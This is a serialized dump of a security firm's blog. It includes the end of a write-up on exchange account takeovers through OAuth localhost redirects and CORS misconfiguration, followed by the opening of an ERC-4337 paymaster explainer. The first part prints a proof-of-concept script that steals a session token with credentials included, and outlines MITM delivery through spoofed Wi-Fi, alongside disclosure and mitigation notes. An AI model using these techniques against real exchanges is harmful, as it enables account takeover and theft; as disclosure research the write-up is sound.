URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":22,"tag":264,"props":102669,"children":102670},{"class":1534,"line":24953},[102671],{"type":22,"tag":264,"props":102672,"children":102673},{"style":1597},[102674],{"type":27,"value":102675},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":22,"tag":264,"props":102677,"children":102678},{"class":1534,"line":24961},[102679],{"type":22,"tag":264,"props":102680,"children":102681},{"style":1597},[102682],{"type":27,"value":102683},"      google.accounts.id.initialize({\n",{"type":22,"tag":264,"props":102685,"children":102686},{"class":1534,"line":24970},[102687],{"type":22,"tag":264,"props":102688,"children":102689},{"style":1597},[102690],{"type":27,"value":102691},"        client_id: client_id,\n",{"type":22,"tag":264,"props":102693,"children":102694},{"class":1534,"line":25046},[102695],{"type":22,"tag":264,"props":102696,"children":102697},{"style":1597},[102698],{"type":27,"value":102699},"        callback: handleCredentialResponse,\n",{"type":22,"tag":264,"props":102701,"children":102702},{"class":1534,"line":25079},[102703],{"type":22,"tag":264,"props":102704,"children":102705},{"style":1597},[102706],{"type":27,"value":102707},"        auto_select: true\n",{"type":22,"tag":264,"props":102709,"children":102710},{"class":1534,"line":25087},[102711],{"type":22,"tag":264,"props":102712,"children":102713},{"style":1597},[102714],{"type":27,"value":8589},{"type":22,"tag":264,"props":102716,"children":102717},{"class":1534,"line":25095},[102718],{"type":22,"tag":264,"props":102719,"children":102720},{"emptyLinePlaceholder":17},[102721],{"type":27,"value":4986},{"type":22,"tag":264,"props":102723,"children":102724},{"class":1534,"line":25132},[102725],{"type":22,"tag":264,"props":102726,"children":102727},{"style":1597},[102728],{"type":27,"value":102729},"      google.accounts.id.renderButton(\n",{"type":22,"tag":264,"props":102731,"children":102732},{"class":1534,"line":25145},[102733],{"type":22,"tag":264,"props":102734,"children":102735},{"style":1597},[102736],{"type":27,"value":102737},"        document.getElementById(\"g_id_signin\"),\n",{"type":22,"tag":264,"props":102739,"children":102740},{"class":1534,"line":25158},[102741],{"type":22,"tag":264,"props":102742,"children":102743},{"style":1597},[102744],{"type":27,"value":102745},"        { theme: \"outline\", size: \"large\" }\n",{"type":22,"tag":264,"props":102747,"children":102748},{"class":1534,"line":25171},[102749],{"type":22,"tag":264,"props":102750,"children":102751},{"style":1597},[102752],{"type":27,"value":8059},{"type":22,"tag":264,"props":102754,"children":102755},{"class":1534,"line":25225},[102756],{"type":22,"tag":264,"props":102757,"children":102758},{"emptyLinePlaceholder":17},[102759],{"type":27,"value":4986},{"type":22,"tag":264,"props":102761,"children":102762},{"class":1534,"line":25234},[102763],{"type":22,"tag":264,"props":102764,"children":102765},{"style":1597},[102766],{"type":27,"value":102767},"      google.accounts.id.prompt();\n",{"type":22,"tag":264,"props":102769,"children":102770},{"class":1534,"line":33596},[102771],{"type":22,"tag":264,"props":102772,"children":102773},{"style":1597},[102774],{"type":27,"value":40311},{"type":22,"tag":264,"props":102776,"children":102777},{"class":1534,"line":33617},[102778,102783,102787,102792],{"type":22,"tag":264,"props":102779,"children":102780},{"style":1597},[102781],{"type":27,"value":102782},"                                    \"\"\"",{"type":22,"tag":264,"props":102784,"children":102785},{"style":1539},[102786],{"type":27,"value":210},{"type":22,"tag":264,"props":102788,"children":102789},{"style":4401},[102790],{"type":27,"value":102791},"trimIndent",{"type":22,"tag":264,"props":102793,"children":102794},{"style":1539},[102795],{"type":27,"value":9029},{"type":22,"tag":264,"props":102797,"children":102798},{"class":1534,"line":82277},[102799],{"type":22,"tag":264,"props":102800,"children":102801},{"style":1539},[102802],{"type":27,"value":102803},"                                }\n",{"type":22,"tag":264,"props":102805,"children":102806},{"class":1534,"line":82290},[102807],{"type":22,"tag":264,"props":102808,"children":102809},{"style":1539},[102810],{"type":27,"value":72372},{"type":22,"tag":264,"props":102812,"children":102813},{"class":1534,"line":82298},[102814],{"type":22,"tag":264,"props":102815,"children":102816},{"style":1539},[102817],{"type":27,"value":72302},{"type":22,"tag":264,"props":102819,"children":102820},{"class":1534,"line":82306},[102821,102825],{"type":22,"tag":264,"props":102822,"children":102823},{"style":4401},[102824],{"type":27,"value":72310},{"type":22,"tag":264,"props":102826,"children":102827},{"style":1539},[102828],{"type":27,"value":4594},{"type":22,"tag":264,"props":102830,"children":102831},{"class":1534,"line":82314},[102832,102836,102840,102844,102849],{"type":22,"tag":264,"props":102833,"children":102834},{"style":4401},[102835],{"type":27,"value":72322},{"type":22,"tag":264,"props":102837,"children":102838},{"style":1539},[102839],{"type":27,"value":10884},{"type":22,"tag":264,"props":102841,"children":102842},{"style":4309},[102843],{"type":27,"value":673},{"type":22,"tag":264,"props":102845,"children":102846},{"style":1597},[102847],{"type":27,"value":102848},"\"Login here:\"",{"type":22,"tag":264,"props":102850,"children":102851},{"style":1539},[102852],{"type":27,"value":10894},{"type":22,"tag":264,"props":102854,"children":102855},{"class":1534,"line":82354},[102856,102861],{"type":22,"tag":264,"props":102857,"children":102858},{"style":4401},[102859],{"type":27,"value":102860},"                            div",{"type":22,"tag":264,"props":102862,"children":102863},{"style":1539},[102864],{"type":27,"value":4594},{"type":22,"tag":264,"props":102866,"children":102867},{"class":1534,"line":82362},[102868,102873,102877],{"type":22,"tag":264,"props":102869,"children":102870},{"style":1539},[102871],{"type":27,"value":102872},"                                id ",{"type":22,"tag":264,"props":102874,"children":102875},{"style":4309},[102876],{"type":27,"value":429},{"type":22,"tag":264,"props":102878,"children":102879},{"style":1597},[102880],{"type":27,"value":102881}," \"g_id_signin\"\n",{"type":22,"tag":264,"props":102883,"children":102884},{"class":1534,"line":89548},[102885],{"type":22,"tag":264,"props":102886,"children":102887},{"style":1539},[102888],{"type":27,"value":72372},{"type":22,"tag":264,"props":102890,"children":102891},{"class":1534,"line":89556},[102892],{"type":22,"tag":264,"props":102893,"children":102894},{"style":1539},[102895],{"type":27,"value":72302},{"type":22,"tag":264,"props":102897,"children":102899},{"class":1534,"line":102898},62,[102900],{"type":22,"tag":264,"props":102901,"children":102902},{"style":1539},[102903],{"type":27,"value":72387},{"type":22,"tag":264,"props":102905,"children":102907},{"class":1534,"line":102906},63,[102908],{"type":22,"tag":264,"props":102909,"children":102910},{"style":1539},[102911],{"type":27,"value":72395},{"type":22,"tag":264,"props":102913,"children":102915},{"class":1534,"line":102914},64,[102916],{"type":22,"tag":264,"props":102917,"children":102918},{"style":1539},[102919],{"type":27,"value":60206},{"type":22,"tag":264,"props":102921,"children":102923},{"class":1534,"line":102922},65,[102924,102928,102932,102936,102940,102944],{"type":22,"tag":264,"props":102925,"children":102926},{"style":1539},[102927],{"type":27,"value":72410},{"type":22,"tag":264,"props":102929,"children":102930},{"style":4401},[102931],{"type":27,"value":72415},{"type":22,"tag":264,"props":102933,"children":102934},{"style":1539},[102935],{"type":27,"value":72420},{"type":22,"tag":264,"props":102937,"children":102938},{"style":4309},[102939],{"type":27,"value":429},{"type":22,"tag":264,"props":102941,"children":102942},{"style":4293},[102943],{"type":27,"value":13768},{"type":22,"tag":264,"props":102945,"children":102946},{"style":1539},[102947],{"type":27,"value":4463},{"type":22,"tag":264,"props":102949,"children":102951},{"class":1534,"line":102950},66,[102952],{"type":22,"tag":264,"props":102953,"children":102954},{"style":1539},[102955],{"type":27,"value":1674},{"type":22,"tag":23,"props":102957,"children":102958},{},[102959],{"type":27,"value":102960},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":22,"tag":23,"props":102962,"children":102963},{},[102964],{"type":27,"value":102965},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":22,"tag":181,"props":102967,"children":102969},{"id":102968},"how-to-mitigate",[102970],{"type":27,"value":102971},"How to Mitigate",{"type":22,"tag":23,"props":102973,"children":102974},{},[102975],{"type":27,"value":102976},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":22,"tag":169,"props":102978,"children":102980},{"id":102979},"exploiting-cors",[102981],{"type":27,"value":102982},"Exploiting CORS",{"type":22,"tag":23,"props":102984,"children":102985},{},[102986],{"type":27,"value":102987},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":22,"tag":23,"props":102989,"children":102990},{},[102991,102993,102999],{"type":27,"value":102992},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":22,"tag":257,"props":102994,"children":102996},{"className":102995},[],[102997],{"type":27,"value":102998},"http://",{"type":27,"value":103000}," schema for any subdomain:",{"type":22,"tag":618,"props":103002,"children":103006},{"className":103003,"code":103004,"language":103005,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[103007],{"type":22,"tag":257,"props":103008,"children":103009},{"__ignoreMap":7},[103010,103018,103026,103034],{"type":22,"tag":264,"props":103011,"children":103012},{"class":1534,"line":1535},[103013],{"type":22,"tag":264,"props":103014,"children":103015},{},[103016],{"type":27,"value":103017},"HTTP 200 OK\n",{"type":22,"tag":264,"props":103019,"children":103020},{"class":1534,"line":1545},[103021],{"type":22,"tag":264,"props":103022,"children":103023},{},[103024],{"type":27,"value":103025},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":22,"tag":264,"props":103027,"children":103028},{"class":1534,"line":1560},[103029],{"type":22,"tag":264,"props":103030,"children":103031},{},[103032],{"type":27,"value":103033},"Access-Control-Allow-Credentials: true\n",{"type":22,"tag":264,"props":103035,"children":103036},{"class":1534,"line":1569},[103037],{"type":22,"tag":264,"props":103038,"children":103039},{},[103040],{"type":27,"value":11616},{"type":22,"tag":181,"props":103042,"children":103044},{"id":103043},"cors-misconfiguration-by-lack-of-tls",[103045],{"type":27,"value":103046},"CORS Misconfiguration by Lack of TLS",{"type":22,"tag":23,"props":103048,"children":103049},{},[103050,103052,103058],{"type":27,"value":103051},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":22,"tag":257,"props":103053,"children":103055},{"className":103054},[],[103056],{"type":27,"value":103057},"exchange.com",{"type":27,"value":103059}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":22,"tag":23,"props":103061,"children":103062},{},[103063],{"type":27,"value":103064},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":22,"tag":17988,"props":103066,"children":103067},{},[103068,103088],{"type":22,"tag":1871,"props":103069,"children":103070},{},[103071,103073,103078,103080,103086],{"type":27,"value":103072},"Chrome --> won't work because cookies are not sent in ",{"type":22,"tag":257,"props":103074,"children":103076},{"className":103075},[],[103077],{"type":27,"value":102998},{"type":27,"value":103079}," --> ",{"type":22,"tag":257,"props":103081,"children":103083},{"className":103082},[],[103084],{"type":27,"value":103085},"https://",{"type":27,"value":103087}," requests, even if same-site",{"type":22,"tag":1871,"props":103089,"children":103090},{},[103091,103093],{"type":27,"value":103092},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":22,"tag":257,"props":103094,"children":103096},{"className":103095},[],[103097],{"type":27,"value":39079},{"type":22,"tag":181,"props":103099,"children":103101},{"id":103100},"exploit-1",[103102],{"type":27,"value":101432},{"type":22,"tag":23,"props":103104,"children":103105},{},[103106],{"type":27,"value":103107},"To exploit it, we must follow some steps:",{"type":22,"tag":1867,"props":103109,"children":103110},{},[103111,103116,103121],{"type":22,"tag":1871,"props":103112,"children":103113},{},[103114],{"type":27,"value":103115},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":22,"tag":1871,"props":103117,"children":103118},{},[103119],{"type":27,"value":103120},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":22,"tag":1871,"props":103122,"children":103123},{},[103124,103126,103131],{"type":27,"value":103125},"Use ",{"type":22,"tag":257,"props":103127,"children":103129},{"className":103128},[],[103130],{"type":27,"value":39079},{"type":27,"value":103132}," with CORS to do something malicious using the victim's account",{"type":22,"tag":23,"props":103134,"children":103135},{},[103136],{"type":27,"value":103137},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":22,"tag":23,"props":103139,"children":103140},{},[103141,103143,103148],{"type":27,"value":103142},"Once the redirect to the ",{"type":22,"tag":257,"props":103144,"children":103146},{"className":103145},[],[103147],{"type":27,"value":102998},{"type":27,"value":103149}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":22,"tag":618,"props":103151,"children":103153},{"className":32678,"code":103152,"language":32680,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[103154],{"type":22,"tag":257,"props":103155,"children":103156},{"__ignoreMap":7},[103157,103180,103217,103234,103251,103258,103299],{"type":22,"tag":264,"props":103158,"children":103159},{"class":1534,"line":1535},[103160,103164,103168,103172,103176],{"type":22,"tag":264,"props":103161,"children":103162},{"style":1539},[103163],{"type":27,"value":2660},{"type":22,"tag":264,"props":103165,"children":103166},{"style":4293},[103167],{"type":27,"value":37460},{"type":22,"tag":264,"props":103169,"children":103170},{"style":1539},[103171],{"type":27,"value":41011},{"type":22,"tag":264,"props":103173,"children":103174},{"style":4293},[103175],{"type":27,"value":16121},{"type":22,"tag":264,"props":103177,"children":103178},{"style":1539},[103179],{"type":27,"value":4594},{"type":22,"tag":264,"props":103181,"children":103182},{"class":1534,"line":1545},[103183,103187,103192,103196,103200,103204,103208,103213],{"type":22,"tag":264,"props":103184,"children":103185},{"style":4293},[103186],{"type":27,"value":9149},{"type":22,"tag":264,"props":103188,"children":103189},{"style":1549},[103190],{"type":27,"value":103191}," res",{"type":22,"tag":264,"props":103193,"children":103194},{"style":4309},[103195],{"type":27,"value":4312},{"type":22,"tag":264,"props":103197,"children":103198},{"style":4328},[103199],{"type":27,"value":37526},{"type":22,"tag":264,"props":103201,"children":103202},{"style":4401},[103203],{"type":27,"value":34245},{"type":22,"tag":264,"props":103205,"children":103206},{"style":1539},[103207],{"type":27,"value":2660},{"type":22,"tag":264,"props":103209,"children":103210},{"style":1597},[103211],{"type":27,"value":103212},"'https://www.exchange.com/api/session_token'",{"type":22,"tag":264,"props":103214,"children":103215},{"style":1539},[103216],{"type":27,"value":50202},{"type":22,"tag":264,"props":103218,"children":103219},{"class":1534,"line":1560},[103220,103225,103230],{"type":22,"tag":264,"props":103221,"children":103222},{"style":1549},[103223],{"type":27,"value":103224},"    credentials:",{"type":22,"tag":264,"props":103226,"children":103227},{"style":1597},[103228],{"type":27,"value":103229}," 'include'",{"type":22,"tag":264,"props":103231,"children":103232},{"style":1539},[103233],{"type":27,"value":4812},{"type":22,"tag":264,"props":103235,"children":103236},{"class":1534,"line":1569},[103237,103242,103247],{"type":22,"tag":264,"props":103238,"children":103239},{"style":1549},[103240],{"type":27,"value":103241},"    method:",{"type":22,"tag":264,"props":103243,"children":103244},{"style":1597},[103245],{"type":27,"value":103246}," 'POST'",{"type":22,"tag":264,"props":103248,"children":103249},{"style":1539},[103250],{"type":27,"value":4812},{"type":22,"tag":264,"props":103252,"children":103253},{"class":1534,"line":1583},[103254],{"type":22,"tag":264,"props":103255,"children":103256},{"style":1539},[103257],{"type":27,"value":99515},{"type":22,"tag":264,"props":103259,"children":103260},{"class":1534,"line":1603},[103261,103266,103270,103275,103279,103283,103287,103291,103295],{"type":22,"tag":264,"props":103262,"children":103263},{"style":1549},[103264],{"type":27,"value":103265},"  console",{"type":22,"tag":264,"props":103267,"children":103268},{"style":1539},[103269],{"type":27,"value":210},{"type":22,"tag":264,"props":103271,"children":103272},{"style":4401},[103273],{"type":27,"value":103274},"log",{"type":22,"tag":264,"props":103276,"children":103277},{"style":1539},[103278],{"type":27,"value":2660},{"type":22,"tag":264,"props":103280,"children":103281},{"style":4328},[103282],{"type":27,"value":34232},{"type":22,"tag":264,"props":103284,"children":103285},{"style":1549},[103286],{"type":27,"value":103191},{"type":22,"tag":264,"props":103288,"children":103289},{"style":1539},[103290],{"type":27,"value":210},{"type":22,"tag":264,"props":103292,"children":103293},{"style":4401},[103294],{"type":27,"value":1527},{"type":22,"tag":264,"props":103296,"children":103297},{"style":1539},[103298],{"type":27,"value":16724},{"type":22,"tag":264,"props":103300,"children":103301},{"class":1534,"line":1612},[103302],{"type":22,"tag":264,"props":103303,"children":103304},{"style":1539},[103305],{"type":27,"value":103306},"})();\n",{"type":22,"tag":23,"props":103308,"children":103309},{},[103310],{"type":27,"value":103311},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":22,"tag":181,"props":103313,"children":103314},{"id":41648},[103315],{"type":27,"value":41651},{"type":22,"tag":23,"props":103317,"children":103318},{},[103319,103321,103326],{"type":27,"value":103320},"As mitigation, it is recommended to remove all ",{"type":22,"tag":257,"props":103322,"children":103324},{"className":103323},[],[103325],{"type":27,"value":102998},{"type":27,"value":103327}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":22,"tag":23,"props":103329,"children":103330},{},[103331],{"type":27,"value":103332},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":22,"tag":169,"props":103334,"children":103335},{"id":30246},[103336],{"type":27,"value":20252},{"type":22,"tag":23,"props":103338,"children":103339},{},[103340],{"type":27,"value":103341},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":22,"tag":23,"props":103343,"children":103344},{},[103345],{"type":27,"value":103346},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":22,"tag":4139,"props":103348,"children":103349},{},[103350],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":103352},[103353,103358,103363],{"id":101037,"depth":1545,"text":101040,"children":103354},[103355,103356,103357],{"id":101048,"depth":1560,"text":101051},{"id":101405,"depth":1560,"text":101408},{"id":102968,"depth":1560,"text":102971},{"id":102979,"depth":1545,"text":102982,"children":103359},[103360,103361,103362],{"id":103043,"depth":1560,"text":103046},{"id":103100,"depth":1560,"text":101432},{"id":41648,"depth":1560,"text":41651},{"id":30246,"depth":1545,"text":20252},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":103368,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103369,"description":103370,"date":103371,"author":103372,"image":103373,"isFeatured":17,"onBlogPage":17,"tags":103375,"body":103378,"_type":4157,"_id":109150,"_source":4159,"_file":109151,"_stem":109152,"_extension":4162},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":103374,"width":98589,"height":14922},"/posts/paymasters-evm/title.png",[103376,103377],"evm","ERC-4337",{"type":19,"children":103379,"toc":109129},[103380,103384,103395,103400,103405,103410,103416,103422,103427,103432,103438,103443,103471,103477,103482,103489,103494,103504,103509,103535,103541,103561,103567,103587,103595,103626,103659,103668,103680,103705,103717,103730,103773,103779,103812,103911,103930,103953,103958,103964,103992,104139,104144,104171,104177,104189,104201,104210,104245,104250,105735,105763,105784,105789,105801,105810,105815,105833,105856,105861,105867,105921,105927,105960,105995,106819,106855,106891,106957,106990,107488,107541,107553,108117,108186,108213,108835,108877,108904,108916,108977,108996,109030,109035,109040,109045,109049,109054,109089,109115,109120,109125],{"type":22,"tag":36687,"props":103381,"children":103382},{"id":30329},[103383],{"type":27,"value":30332},{"type":22,"tag":23,"props":103385,"children":103386},{},[103387,103393],{"type":22,"tag":69,"props":103388,"children":103391},{"href":103389,"rel":103390},"https://docs.erc4337.io/",[73],[103392],{"type":27,"value":103377},{"type":27,"value":103394}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":22,"tag":23,"props":103396,"children":103397},{},[103398],{"type":27,"value":103399},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":22,"tag":23,"props":103401,"children":103402},{},[103403],{"type":27,"value":103404},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":22,"tag":23,"props":103406,"children":103407},{},[103408],{"type":27,"value":103409},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":22,"tag":36687,"props":103411,"children":103413},{"id":103412},"erc4337-overview",[103414],{"type":27,"value":103415},"ERC4337 Overview",{"type":22,"tag":169,"props":103417,"children":103419},{"id":103418},"traditional-eoas-vs-smart-contract-wallets",[103420],{"type":27,"value":103421},"Traditional EOAs vs Smart Contract Wallets",{"type":22,"tag":23,"props":103423,"children":103424},{},[103425],{"type":27,"value":103426},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":22,"tag":23,"props":103428,"children":103429},{},[103430],{"type":27,"value":103431},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":22,"tag":169,"props":103433,"children":103435},{"id":103434},"why-erc4337-was-introduced",[103436],{"type":27,"value":103437},"Why ERC‑4337 Was Introduced",{"type":22,"tag":23,"props":103439,"children":103440},{},[103441],{"type":27,"value":103442},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":22,"tag":17988,"props":103444,"children":103445},{},[103446,103451,103456,103461,103466],{"type":22,"tag":1871,"props":103447,"children":103448},{},[103449],{"type":27,"value":103450},"User recovery for lost keys (e.g. social recovery)",{"type":22,"tag":1871,"props":103452,"children":103453},{},[103454],{"type":27,"value":103455},"Batched or atomic multi-step operations in one flow",{"type":22,"tag":1871,"props":103457,"children":103458},{},[103459],{"type":27,"value":103460},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":22,"tag":1871,"props":103462,"children":103463},{},[103464],{"type":27,"value":103465},"Using custom signature schemes or multisig logic",{"type":22,"tag":1871,"props":103467,"children":103468},{},[103469],{"type":27,"value":103470},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":22,"tag":169,"props":103472,"children":103474},{"id":103473},"how-erc-4337-works",[103475],{"type":27,"value":103476},"How ERC-4337 Works",{"type":22,"tag":23,"props":103478,"children":103479},{},[103480],{"type":27,"value":103481},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":22,"tag":23,"props":103483,"children":103484},{},[103485],{"type":22,"tag":215,"props":103486,"children":103488},{"alt":51899,"src":103487},"/posts/paymasters-evm/flowchart.png",[],{"type":22,"tag":23,"props":103490,"children":103491},{},[103492],{"type":27,"value":103493},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":22,"tag":181,"props":103495,"children":103497},{"id":103496},"useroperation",[103498],{"type":22,"tag":257,"props":103499,"children":103501},{"className":103500},[],[103502],{"type":27,"value":103503},"UserOperation",{"type":22,"tag":23,"props":103505,"children":103506},{},[103507],{"type":27,"value":103508},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":22,"tag":17988,"props":103510,"children":103511},{},[103512,103517,103522],{"type":22,"tag":1871,"props":103513,"children":103514},{},[103515],{"type":27,"value":103516},"Target contract call(s)",{"type":22,"tag":1871,"props":103518,"children":103519},{},[103520],{"type":27,"value":103521},"Signature or validation metadata",{"type":22,"tag":1871,"props":103523,"children":103524},{},[103525,103527,103533],{"type":27,"value":103526},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":22,"tag":257,"props":103528,"children":103530},{"className":103529},[],[103531],{"type":27,"value":103532},"UserOperations",{"type":27,"value":103534}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":22,"tag":181,"props":103536,"children":103538},{"id":103537},"smart-contract-account",[103539],{"type":27,"value":103540},"Smart Contract Account",{"type":22,"tag":23,"props":103542,"children":103543},{},[103544,103546,103552,103553,103559],{"type":27,"value":103545},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":22,"tag":257,"props":103547,"children":103549},{"className":103548},[],[103550],{"type":27,"value":103551},"validateUserOp()",{"type":27,"value":12290},{"type":22,"tag":257,"props":103554,"children":103556},{"className":103555},[],[103557],{"type":27,"value":103558},"executeUserOp()",{"type":27,"value":103560},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":22,"tag":181,"props":103562,"children":103564},{"id":103563},"bundler",[103565],{"type":27,"value":103566},"Bundler",{"type":22,"tag":23,"props":103568,"children":103569},{},[103570,103572,103577,103579,103585],{"type":27,"value":103571},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":22,"tag":257,"props":103573,"children":103575},{"className":103574},[],[103576],{"type":27,"value":103532},{"type":27,"value":103578},", packages them, and submits them in a single transaction to the ",{"type":22,"tag":257,"props":103580,"children":103582},{"className":103581},[],[103583],{"type":27,"value":103584},"EntryPoint",{"type":27,"value":103586}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":22,"tag":181,"props":103588,"children":103589},{"id":16022},[103590],{"type":22,"tag":257,"props":103591,"children":103593},{"className":103592},[],[103594],{"type":27,"value":103584},{"type":22,"tag":23,"props":103596,"children":103597},{},[103598,103599,103604,103606,103611,103613,103617,103619,103624],{"type":27,"value":17914},{"type":22,"tag":257,"props":103600,"children":103602},{"className":103601},[],[103603],{"type":27,"value":103584},{"type":27,"value":103605}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":22,"tag":257,"props":103607,"children":103609},{"className":103608},[],[103610],{"type":27,"value":103532},{"type":27,"value":103612}," submitted by a ",{"type":22,"tag":242,"props":103614,"children":103615},{},[103616],{"type":27,"value":103566},{"type":27,"value":103618},", the ",{"type":22,"tag":257,"props":103620,"children":103622},{"className":103621},[],[103623],{"type":27,"value":103584},{"type":27,"value":103625}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":22,"tag":23,"props":103627,"children":103628},{},[103629,103631,103636,103638,103642,103644,103649,103651,103657],{"type":27,"value":103630},"Once all operations have been processed, the ",{"type":22,"tag":257,"props":103632,"children":103634},{"className":103633},[],[103635],{"type":27,"value":103584},{"type":27,"value":103637}," calculates the total gas consumed and reimburses the ",{"type":22,"tag":242,"props":103639,"children":103640},{},[103641],{"type":27,"value":103566},{"type":27,"value":103643},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":22,"tag":257,"props":103645,"children":103647},{"className":103646},[],[103648],{"type":27,"value":103584},{"type":27,"value":103650}," or from a ",{"type":22,"tag":257,"props":103652,"children":103654},{"className":103653},[],[103655],{"type":27,"value":103656},"paymaster",{"type":27,"value":103658}," that has agreed to sponsor the transaction.",{"type":22,"tag":181,"props":103660,"children":103661},{"id":103656},[103662],{"type":22,"tag":257,"props":103663,"children":103665},{"className":103664},[],[103666],{"type":27,"value":103667},"Paymaster",{"type":22,"tag":23,"props":103669,"children":103670},{},[103671,103673,103678],{"type":27,"value":103672},"A ",{"type":22,"tag":257,"props":103674,"children":103676},{"className":103675},[],[103677],{"type":27,"value":103656},{"type":27,"value":103679}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas 